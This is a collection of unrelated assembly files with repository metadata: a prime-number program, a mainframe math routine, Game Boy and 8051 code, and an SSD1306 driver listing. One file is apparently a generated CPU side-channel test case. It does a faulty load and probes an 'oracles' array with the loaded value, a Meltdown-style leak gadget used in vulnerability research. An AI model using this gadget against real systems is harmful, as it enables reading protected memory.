alexandruradovici/alf-alfy-asm-public
43a73cc13c38f39125620fb9bd566c261cff1c73
[ "BSD-2-Clause" ]
2
2017-05-18T20:29:57.000Z
2017-05-19T19:03:07.000Z
verify/alfy/5_loop/prime_numbers.alfy.asm
alexandruradovici/alf-alfy-asm-language-public
43a73cc13c38f39125620fb9bd566c261cff1c73
[ "BSD-2-Clause" ]
null
null
null
; script start: ; attribution ; value logic false set r2 0 ; s: r3 set r3 8 store r3 r2 ; while while_0: ; expression not ; s: r3 set r3 8 load r3 r3 set r4 0x0000000000000001 xor r2 r3 r4 set r3 1 test r3 r2 jne endwhile_0 ; asm readnumber r2 ; p: r3 set r3 0 store r3 r2 ; attribution ; value logic true set r2 1 ; isPrime: r3 set r3 4 store r3 r2 ; for ; from ; value int 2 set r2 2 ; to ; expression / ; p: r4 set r4 0 load r4 r4 ; value int 2 set r5 2 div r3 r4 r5 ; step ; value int 1 set r4 1 ; variable ; i: r5 set r5 12 mov r6 r2 store r5 r6 for_0: test r6 r3 jg endfor_0 ; if ; expression = ; expression mod ; p: r9 set r9 0 load r9 r9 ; i: r10 set r10 12 load r10 r10 mod r8 r9 r10 ; value int 0 set r9 0 test r8 r9 set r7 1 je next_0 set r7 0 next_0: set r8 1 test r8 r7 jne endif_0 ; attribution ; value logic false set r7 0 ; isPrime: r8 set r8 4 store r8 r7 endif_0: add r6 r6 r4 store r5 r6 jmp for_0 endfor_0: ; if ; expression not ; isPrime: r3 set r3 4 load r3 r3 set r4 0x0000000000000001 xor r2 r3 r4 set r3 1 test r3 r2 jne endif_1 ; asm ; p: r2 set r2 0 load r2 r2 writenumber r2 endif_1: ; attribution ; isPrime: r2 set r2 4 load r2 r2 ; s: r3 set r3 8 store r3 r2 jmp while_0 endwhile_0: stop
22.432432
39
0.343373
76a78922e7522dd52f97a23cfe94bae072497281
3,910
asm
Assembly
Assembler/MATH.asm
MinionSas/Mainframe
45939fdcba368bfb5092ad9d588e1f66df523887
[ "Apache-2.0" ]
null
null
null
Assembler/MATH.asm
MinionSas/Mainframe
45939fdcba368bfb5092ad9d588e1f66df523887
[ "Apache-2.0" ]
null
null
null
Assembler/MATH.asm
MinionSas/Mainframe
45939fdcba368bfb5092ad9d588e1f66df523887
[ "Apache-2.0" ]
null
null
null
TITLE 'MATH PROGRAM' *********************************************************************** * * * PROGRAM MATH * * * * FUNCTION: THIS IS A SIMPLE MATH PROGRAM * * * * NOTE: MATH CAN RESIDE ANYWHERE IN MEMORY * * * * PARAMETER: NONE * * * * RETURN CODE: * * 00 SUCCESSFUL RETURN * * * *MODIFICATIONS * * * * DD/MM/YYYY -IN- -PUT YOUR COMMENT HERE * * * *********************************************************************** EJECT R0 EQU 0 * R R1 EQU 1 * E R2 EQU 2 * G R3 EQU 3 * I R4 EQU 4 * S R5 EQU 5 * T R6 EQU 6 * E R7 EQU 7 * R R8 EQU 8 * S R9 EQU 9 * E R10 EQU 10 * Q R11 EQU 11 * U R12 EQU 12 * A R13 EQU 13 * T R14 EQU 14 * E R15 EQU 15 * S EJECT *********************************************************************** * * * PROGRAM ENTRY * * * *********************************************************************** SPACE 1 MATH CSECT STM R14,R12,12(R13) LR R12,R15 USING MATH,R12 LA R11,SAVEAREA ST R13,4(R11) ST R11,8(R13) LR R13,R11 SPACE 1 XR R15,R15 SET RETURN CODE TO ZERO SPACE 1 *********************************************************************** * MATH FUNCTIONS * *********************************************************************** LA R2,10 INITIALIZE R2 TO 10 LA R3,10 INITIALIZE R3 TO 10 AR R2,R3 ADD THE 2 REGISTERS S R2,NUMBER1 SUBTRACT NUMBER1 FROM R2 MR R2,R3 MULTIPLY R2 AND R3 DR R2,R3 DIVIDE R2 BY R3 *********************************************************************** * PROGRAM EXIT * *********************************************************************** RETURN DS 0H L R13,4(R13) L R14,12(R13) LM R0,R12,20(R13) BR R14 EJECT *********************************************************************** * WORKING STORAGE * *********************************************************************** NUMBER1 DC F'14' SAVEAREA DS 18F LTORG EJECT END MATH
48.271605
71
0.182097
bd651c3e846eb0a0215e14a3d1be396fd368c93f
265
asm
Assembly
mgblib/src/memory/MemSetSmall.asm
jbshelton/CGB_APU_Tester
c544685903a6eb163906667b4ae8d0157670c918
[ "MIT" ]
2
2020-09-12T14:22:37.000Z
2022-02-11T08:55:17.000Z
src/memory/MemSetSmall.asm
mattcurrie/mgblib
1d9045a4b4cbd1ec5223e672a1cef965e9fcd194
[ "MIT" ]
null
null
null
src/memory/MemSetSmall.asm
mattcurrie/mgblib
1d9045a4b4cbd1ec5223e672a1cef965e9fcd194
[ "MIT" ]
null
null
null
IF !DEF(INC_MemSetSmall) INC_MemSetSmall = 1 ; Set a small amount memory < 256 bytes ; ; @param a value to set ; @param hl source address ; @param c length in bytes ; @destroys f, c, hl MemSetSmall:: .loop: ld [hl+], a dec c jr nz, .loop ret ENDC
15.588235
39
0.645283
20f815e5597555bed0bf31b478ad0ac76b0ee1c4
8,012
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_1353.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_1353.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_1353.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r8 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x1b99d, %r9 nop nop nop nop nop cmp $17883, %r12 mov $0x6162636465666768, %r15 movq %r15, (%r9) nop nop nop add %r15, %r15 lea addresses_WC_ht+0x14f9, %rdi clflush (%rdi) nop nop and $51585, %rdx movw $0x6162, (%rdi) nop xor $32605, %rdx lea addresses_A_ht+0x8c9d, %r9 nop nop nop nop nop add %rbp, %rbp mov (%r9), %r12w nop nop nop nop nop cmp $62761, %r8 lea addresses_UC_ht+0x759d, %rbp nop and $7478, %r12 vmovups (%rbp), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $0, %xmm2, %rdx nop nop nop nop cmp $48108, %r9 lea addresses_D_ht+0x1bf9d, %rsi lea addresses_D_ht+0x13a2d, %rdi nop nop add $32168, %r12 mov $66, %rcx rep movsq nop add %r12, %r12 lea addresses_normal_ht+0x1dd9d, %r9 nop nop nop xor %rdx, %rdx movups (%r9), %xmm2 vpextrq $1, %xmm2, %rbp nop sub %rbp, %rbp lea addresses_UC_ht+0x479d, %r9 nop nop nop nop lfence mov $0x6162636465666768, %rcx movq %rcx, %xmm7 and $0xffffffffffffffc0, %r9 movntdq %xmm7, (%r9) nop nop nop nop nop add %rbp, %rbp lea addresses_WT_ht+0x1c39d, %r8 nop nop add $25652, %rbp mov (%r8), %r9w nop nop nop xor $59425, %rsi lea addresses_normal_ht+0x6ad5, %r8 nop nop nop nop sub $33438, %rsi mov (%r8), %di nop add %rdi, %rdi lea addresses_normal_ht+0x421d, %rbp nop nop sub %rcx, %rcx mov $0x6162636465666768, %r9 movq %r9, (%rbp) nop nop nop nop nop add $3537, %r8 lea addresses_WC_ht+0x4381, %rdi nop sub %r12, %r12 movb (%rdi), %r8b nop nop nop nop nop and %rsi, %rsi lea addresses_WC_ht+0x18f3d, %rcx nop nop inc %r15 mov (%rcx), %si nop nop nop nop cmp %r9, %r9 lea addresses_WT_ht+0xad9d, %r12 nop nop nop nop and $30124, %rdx movl $0x61626364, (%r12) sub %rdx, %rdx lea addresses_WT_ht+0x8c85, %r9 nop nop nop nop nop sub %rdx, %rdx mov $0x6162636465666768, %rcx movq %rcx, %xmm7 movups %xmm7, (%r9) nop nop nop nop and $46045, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r8 push %rax push %rdi push %rdx push %rsi // Store lea addresses_RW+0x2d9d, %rax and %rsi, %rsi mov $0x5152535455565758, %r10 movq %r10, (%rax) nop nop nop nop cmp $28802, %rax // Store lea addresses_normal+0x481d, %r13 nop nop nop add $64511, %r8 mov $0x5152535455565758, %r10 movq %r10, (%r13) nop nop add $5411, %rsi // Faulty Load lea addresses_RW+0x2d9d, %r13 nop nop nop nop nop sub $469, %r10 mov (%r13), %rdi lea oracles, %r10 and $0xff, %rdi shlq $12, %rdi mov (%r10,%rdi,1), %rdi pop %rsi pop %rdx pop %rdi pop %rax pop %r8 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
31.175097
2,999
0.655017
a1ef91158423626700756317d328643e4be79bb3
1,453
asm
Assembly
8051/21-26Proteous/26lcddisplay/lcddisplay.asm
iamvk1437k/mpmc
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
[ "MIT" ]
1
2022-01-01T11:27:43.000Z
2022-01-01T11:27:43.000Z
8051/21-26Proteous/26lcddisplay/lcddisplay.asm
iamvk1437k/mpmc
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
[ "MIT" ]
null
null
null
8051/21-26Proteous/26lcddisplay/lcddisplay.asm
iamvk1437k/mpmc
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
[ "MIT" ]
null
null
null
;LCD DISPLAY ORG 00H AGAIN:MOV A,#38H ; move 38h to A ACALL CW ; call cw ACALL DELAY ; call delay routine MOV A,#0EH ; move 0E to A ACALL CW ; call cw ACALL DELAY ; call delay routine MOV A,#01H ; move 01H to A ACALL CW ; call cw ACALL DELAY ; call delay routine MOV A,#06H ; move 06H to A ACALL CW ; call cw ACALL DELAY ; call delay routine MOV DPTR,#MYBYTE ; move the byte to memory D1:CLR A ; set A to 0 MOVC A,@A+DPTR ACALL DWR ; call delay routine INC DPTR ; increment memory address SJMP D1 ; transfer D1 to execution DWR:MOV P1,A ; move A to p1 SETB P2.0 CLR P2.1 SETB P2.2 ACALL DELAY ; call delay routine ACALL DELAY ACALL DELAY ACALL DELAY CLR P2.2 ; clear the pin p2.2 RET CW:MOV P1,A ; move A to p1 CLR P2.0 ; clear the pin p2.0 CLR P2.1 ; clear the pin p2.1 SETB P2.2 ; set the pin p2.2 ACALL DELAY ; call delay routine CLR P2.2 ; clear the pin p2.2 RET DELAY:MOV R3,#50 ; move the value to R3 register HERE2:MOV R4,#200 ; move the valur R2 register HERE:DJNZ R4,HERE DJNZ R3,HERE2 RET MYBYTE: DB "HELLO",0 ; the string to be displayed END
32.288889
55
0.522368
7c4b367404294f674edb5bdc574a91275c94f63a
55,324
asm
Assembly
eBadge/lmm/SSD1306.asm
iseries1/eBadge
5b23a079f995e2420ee900947ba4850514250f74
[ "MIT" ]
null
null
null
eBadge/lmm/SSD1306.asm
iseries1/eBadge
5b23a079f995e2420ee900947ba4850514250f74
[ "MIT" ]
null
null
null
eBadge/lmm/SSD1306.asm
iseries1/eBadge
5b23a079f995e2420ee900947ba4850514250f74
[ "MIT" ]
null
null
null
GNU assembler version 2.21 (propeller-elf) using BFD version (propellergcc_v1_0_0_2408) 2.21. options passed : -lmm -ahdlnsg=lmm/SSD1306.asm input file : C:\Users\mbmis006\AppData\Local\Temp\cckJNgaY.s output file : lmm/SSD1306.o target : propeller-parallax-elf time stamp : 1 .text 2 .Ltext0 3 .balign 4 4 .global _SSD1306_write 5 _SSD1306_write 6 .LFB2 7 .file 1 "SSD1306.c" 1:SSD1306.c **** /* 2:SSD1306.c **** * @brief SSD1306 Display Driver 3:SSD1306.c **** * @author Michael Burmeister 4:SSD1306.c **** * @date March 14, 2018 5:SSD1306.c **** * @version 1.0 6:SSD1306.c **** */ 7:SSD1306.c **** 8:SSD1306.c **** #include "simpletools.h" 9:SSD1306.c **** #include "SSD1306.h" 10:SSD1306.c **** #include "SSD1306cmd.h" 11:SSD1306.c **** 12:SSD1306.c **** int _CS; 13:SSD1306.c **** int _DC; 14:SSD1306.c **** int _SDA; 15:SSD1306.c **** int _SCL; 16:SSD1306.c **** int _RST; 17:SSD1306.c **** int _Auto; 18:SSD1306.c **** int _Width; 19:SSD1306.c **** int _Height; 20:SSD1306.c **** char _Buffer[LCD_BUFFER_SIZE_BOTH_TYPES]; 21:SSD1306.c **** 22:SSD1306.c **** 23:SSD1306.c **** int SSD1306_init(int cs, int dc, int sda, int scl, int rst, int s, int t) 24:SSD1306.c **** { 25:SSD1306.c **** _CS = cs; 26:SSD1306.c **** _DC = dc; 27:SSD1306.c **** _SDA = sda; 28:SSD1306.c **** _SCL = scl; 29:SSD1306.c **** _RST = rst; 30:SSD1306.c **** _Auto = 0; 31:SSD1306.c **** 32:SSD1306.c **** if (t == TYPE_128X32) 33:SSD1306.c **** { 34:SSD1306.c **** _Width = SSD1306_LCDWIDTH; 35:SSD1306.c **** _Height = SSD1306_LCDHEIGHT32; 36:SSD1306.c **** } 37:SSD1306.c **** else 38:SSD1306.c **** { 39:SSD1306.c **** _Width = SSD1306_LCDWIDTH; 40:SSD1306.c **** _Height = SSD1306_LCDHEIGHT64; 41:SSD1306.c **** } 42:SSD1306.c **** 43:SSD1306.c **** //reset display 44:SSD1306.c **** high(_RST); 45:SSD1306.c **** pause(10); 46:SSD1306.c **** low(_RST); 47:SSD1306.c **** pause(10); 48:SSD1306.c **** high(_RST); 49:SSD1306.c **** 50:SSD1306.c **** SSD1306_cmd(SSD1306_DISPLAYOFF); 51:SSD1306.c **** SSD1306_cmd(SSD1306_SETDISPLAYCLOCKDIV); 52:SSD1306.c **** SSD1306_cmd(0x80); 53:SSD1306.c **** 54:SSD1306.c **** SSD1306_cmd(SSD1306_SETMULTIPLEX); 55:SSD1306.c **** SSD1306_cmd(_Height - 1); 56:SSD1306.c **** 57:SSD1306.c **** SSD1306_cmd(SSD1306_SETDISPLAYOFFSET); 58:SSD1306.c **** SSD1306_cmd(0x0); 59:SSD1306.c **** SSD1306_cmd(SSD1306_SETSTARTLINE); 60:SSD1306.c **** SSD1306_cmd(SSD1306_CHARGEPUMP); 61:SSD1306.c **** if (s == SSD1306_EXTERNALVCC) 62:SSD1306.c **** SSD1306_cmd(0x10); 63:SSD1306.c **** else 64:SSD1306.c **** SSD1306_cmd(0x14); 65:SSD1306.c **** SSD1306_cmd(SSD1306_MEMORYMODE); 66:SSD1306.c **** SSD1306_cmd(0x00); 67:SSD1306.c **** SSD1306_cmd(SSD1306_SEGREMAP | 0x1); 68:SSD1306.c **** SSD1306_cmd(SSD1306_COMSCANDEC); 69:SSD1306.c **** 70:SSD1306.c **** if (t == TYPE_128X32) 71:SSD1306.c **** { 72:SSD1306.c **** SSD1306_cmd(SSD1306_SETCOMPINS); 73:SSD1306.c **** SSD1306_cmd(0x02); 74:SSD1306.c **** SSD1306_cmd(SSD1306_SETCONTRAST); 75:SSD1306.c **** SSD1306_cmd(0x8F); 76:SSD1306.c **** } 77:SSD1306.c **** 78:SSD1306.c **** if (t == TYPE_128X64) 79:SSD1306.c **** { 80:SSD1306.c **** SSD1306_cmd(SSD1306_SETCOMPINS); 81:SSD1306.c **** SSD1306_cmd(0x12); 82:SSD1306.c **** SSD1306_cmd(SSD1306_SETCONTRAST); 83:SSD1306.c **** if (s == SSD1306_EXTERNALVCC) 84:SSD1306.c **** SSD1306_cmd(0x9F); 85:SSD1306.c **** else 86:SSD1306.c **** SSD1306_cmd(0xCF); 87:SSD1306.c **** } 88:SSD1306.c **** 89:SSD1306.c **** SSD1306_cmd(SSD1306_SETPRECHARGE); 90:SSD1306.c **** if (s == SSD1306_EXTERNALVCC) 91:SSD1306.c **** SSD1306_cmd(0x22); 92:SSD1306.c **** else 93:SSD1306.c **** SSD1306_cmd(0xF1); 94:SSD1306.c **** SSD1306_cmd(SSD1306_SETVCOMDETECT); 95:SSD1306.c **** SSD1306_cmd(0x40); 96:SSD1306.c **** SSD1306_cmd(SSD1306_DISPLAYALLON_RESUME); 97:SSD1306.c **** SSD1306_cmd(SSD1306_NORMALDISPLAY); 98:SSD1306.c **** SSD1306_cmd(SSD1306_DEACTIVATE_SCROLL); 99:SSD1306.c **** SSD1306_cmd(SSD1306_DISPLAYON); 100:SSD1306.c **** SSD1306_invert(0); 101:SSD1306.c **** SSD1306_cls(); 102:SSD1306.c **** } 103:SSD1306.c **** 104:SSD1306.c **** void SSD1306_write(char b) 105:SSD1306.c **** { 8 .loc 1 105 0 9 .LVL0 10 0000 3D00FCA0 mov __TMP0,#(3<<4)+13 11 0004 0000FC5C call #__LMM_PUSHM 12 .LCFI0 106:SSD1306.c **** low(_CS); 13 .loc 1 106 0 14 0008 00007C5C mvi r14,#__CS 14 00000000 105:SSD1306.c **** { 15 .loc 1 105 0 16 0010 0000BCA0 mov r13, r0 17 .loc 1 106 0 18 0014 0000BC08 rdlong r0, r14 19 .LVL1 20 0018 00007C5C lcall #_low 20 00000000 107:SSD1306.c **** shift_out(_SDA, _SCL, MSBFIRST, 8, b); 21 .loc 1 107 0 22 0020 00007C5C mvi r7,#__SDA 22 00000000 23 0028 00007C5C mvi r6,#__SCL 23 00000000 24 0030 0100FCA0 mov r2, #1 25 0034 0800FCA0 mov r3, #8 26 0038 0000BCA0 mov r4, r13 27 003c 0000BC08 rdlong r7, r7 28 0040 0000BCA0 mov r0, r7 29 0044 0000BC08 rdlong r1, r6 30 0048 00007C5C lcall #_shift_out 30 00000000 108:SSD1306.c **** high(_CS); 31 .loc 1 108 0 32 0050 0000BC08 rdlong r0, r14 33 0054 00007C5C lcall #_high 33 00000000 109:SSD1306.c **** } 34 .loc 1 109 0 35 005c 3F00FCA0 mov __TMP0,#(3<<4)+15 36 0060 0000FC5C call #__LMM_POPRET 37 '' never returns 38 .LFE2 39 .balign 4 40 .global _SSD1306_cmd 41 _SSD1306_cmd 42 .LFB3 110:SSD1306.c **** 111:SSD1306.c **** void SSD1306_cmd(char c) 112:SSD1306.c **** { 43 .loc 1 112 0 44 .LVL2 45 0064 3D00FCA0 mov __TMP0,#(3<<4)+13 46 0068 0000FC5C call #__LMM_PUSHM 47 .LCFI1 113:SSD1306.c **** low(_DC); 48 .loc 1 113 0 49 006c 00007C5C mvi r14,#__DC 49 00000000 112:SSD1306.c **** { 50 .loc 1 112 0 51 0074 0000BCA0 mov r13, r0 52 .loc 1 113 0 53 0078 0000BC08 rdlong r0, r14 54 .LVL3 55 007c 00007C5C lcall #_low 55 00000000 114:SSD1306.c **** SSD1306_write(c); 56 .loc 1 114 0 57 0084 0000BCA0 mov r0, r13 58 0088 00007C5C lcall #_SSD1306_write 58 00000000 115:SSD1306.c **** high(_DC); 59 .loc 1 115 0 60 0090 0000BC08 rdlong r0, r14 61 0094 00007C5C lcall #_high 61 00000000 116:SSD1306.c **** } 62 .loc 1 116 0 63 009c 3F00FCA0 mov __TMP0,#(3<<4)+15 64 00a0 0000FC5C call #__LMM_POPRET 65 '' never returns 66 .LFE3 67 .balign 4 68 .global _SSD1306_invert 69 _SSD1306_invert 70 .LFB4 117:SSD1306.c **** 118:SSD1306.c **** void SSD1306_invert(int i) 119:SSD1306.c **** { 71 .loc 1 119 0 72 .LVL4 73 00a4 0400FC84 sub sp, #4 74 .LCFI2 75 00a8 00003C08 wrlong lr, sp 76 .LCFI3 120:SSD1306.c **** if (i) 77 .loc 1 120 0 78 00ac 00007CC3 cmps r0, #0 wz,wc 121:SSD1306.c **** SSD1306_cmd(SSD1306_INVERTDISPLAY); 79 .loc 1 121 0 80 00b0 A700D4A0 IF_NE mov r0, #167 81 .LVL5 122:SSD1306.c **** else 123:SSD1306.c **** SSD1306_cmd(SSD1306_NORMALDISPLAY); 82 .loc 1 123 0 83 00b4 A600E8A0 IF_E mov r0, #166 84 00b8 00007C5C lcall #_SSD1306_cmd 84 00000000 124:SSD1306.c **** } 85 .loc 1 124 0 86 00c0 0000BC08 rdlong lr, sp 87 00c4 0400FC80 add sp, #4 88 00c8 0000BCA0 mov pc,lr 89 .LFE4 90 .balign 4 91 .global _SSD1306_auto 92 _SSD1306_auto 93 .LFB5 125:SSD1306.c **** 126:SSD1306.c **** void SSD1306_auto(int a) 127:SSD1306.c **** { 94 .loc 1 127 0 95 .LVL6 128:SSD1306.c **** _Auto = a; 96 .loc 1 128 0 97 00cc 00007C5C mvi r7,#__Auto 97 00000000 98 00d4 00003C08 wrlong r0, r7 129:SSD1306.c **** } 99 .loc 1 129 0 100 00d8 0000BCA0 mov pc,lr 101 .LFE5 102 .balign 4 103 .global _SSD1306_update 104 _SSD1306_update 105 .LFB6 130:SSD1306.c **** 131:SSD1306.c **** void SSD1306_update() 132:SSD1306.c **** { 106 .loc 1 132 0 107 00dc 7900FCA0 mov __TMP0,#(7<<4)+9 108 00e0 0000FC5C call #__LMM_PUSHM 109 .LCFI4 133:SSD1306.c **** int k; 134:SSD1306.c **** 135:SSD1306.c **** SSD1306_cmd(SSD1306_SETLOWCOLUMN); 110 .loc 1 135 0 111 00e4 0000FCA0 mov r0, #0 112 .LBB2 136:SSD1306.c **** SSD1306_cmd(SSD1306_SETHIGHCOLUMN); 137:SSD1306.c **** SSD1306_cmd(SSD1306_SETSTARTLINE); 138:SSD1306.c **** 139:SSD1306.c **** k = 0; 140:SSD1306.c **** low(_CS); 141:SSD1306.c **** for (int i=0;i<_Width;i++) 113 .loc 1 141 0 114 00e8 0000FCA0 mov r12, #0 139:SSD1306.c **** k = 0; 115 .loc 1 139 0 116 00ec 0000FCA0 mov r13, #0 117 .loc 1 141 0 118 00f0 00007C5C mvi r10,#__Width 118 00000000 119 .LBE2 135:SSD1306.c **** SSD1306_cmd(SSD1306_SETLOWCOLUMN); 120 .loc 1 135 0 121 00f8 00007C5C lcall #_SSD1306_cmd 121 00000000 136:SSD1306.c **** SSD1306_cmd(SSD1306_SETHIGHCOLUMN); 122 .loc 1 136 0 123 0100 1000FCA0 mov r0, #16 124 .LBB6 125 .LBB3 142:SSD1306.c **** { 143:SSD1306.c **** for (int j=0;j<_Height/8;j++) 126 .loc 1 143 0 127 0104 00007C5C mvi r11,#__Height 127 00000000 128 .LBE3 129 .LBE6 136:SSD1306.c **** SSD1306_cmd(SSD1306_SETHIGHCOLUMN); 130 .loc 1 136 0 131 010c 00007C5C lcall #_SSD1306_cmd 131 00000000 137:SSD1306.c **** SSD1306_cmd(SSD1306_SETSTARTLINE); 132 .loc 1 137 0 133 0114 4000FCA0 mov r0, #64 134 0118 00007C5C lcall #_SSD1306_cmd 134 00000000 135 .LVL7 140:SSD1306.c **** low(_CS); 136 .loc 1 140 0 137 0120 00007C5C mvi r7,#__CS 137 00000000 138 0128 0000BC08 rdlong r0, r7 139 012c 00007C5C lcall #_low 139 00000000 140 .LVL8 141 .LBB7 141:SSD1306.c **** for (int i=0;i<_Width;i++) 142 .loc 1 141 0 143 0134 5C00FC80 brs #.L9 144 .LVL9 145 .L10 146 .LBB4 